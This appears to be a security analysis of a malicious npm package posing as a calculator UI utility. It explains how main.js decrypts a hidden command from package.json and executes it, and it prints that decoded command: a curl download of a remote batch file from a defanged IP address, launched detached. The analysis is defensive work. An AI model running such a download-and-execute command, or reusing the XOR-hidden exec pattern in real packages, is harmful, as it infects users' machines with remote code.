calcultimatetest@1.0.0

Analysis

This package is a decoy "calculator UI" utility that hides a Windows downloader: main.js reads the installed package.json, XOR-decrypts its embedded "signature" field using the key stored in config.json, and only continues if the decrypted text contains "EXEC_MODE"; it then passes that string to child_process.exec after a random 0-5 second delay. Decoding the "signature" value shipped in package.json with the bundled key yields the command: EXEC_MODE=1; curl -fSL hxxp://65[.]109[.]171[.]171/baseball[.]bat -o baseball.bat && cmd /c start /b baseball.bat — a download of a remote batch file from 65[.]109[.]171[.]171 that is then launched detached via cmd /c start /b. The package contains no calculator, renderer or UI code: main.js's only other logic is a padded Mandelbrot loop for noise, plus a step that SHA-256 hashes a hardcoded reference value and writes the result into the installed package.json's "signature" field. A bundled DISCLOSURE file claims the code is "obfuscated to protect proprietary algorithms", which is the cover story for the decode-and-execute routine. There are no lifecycle hooks — the behaviour triggers when main.js is required or started via the package's start script.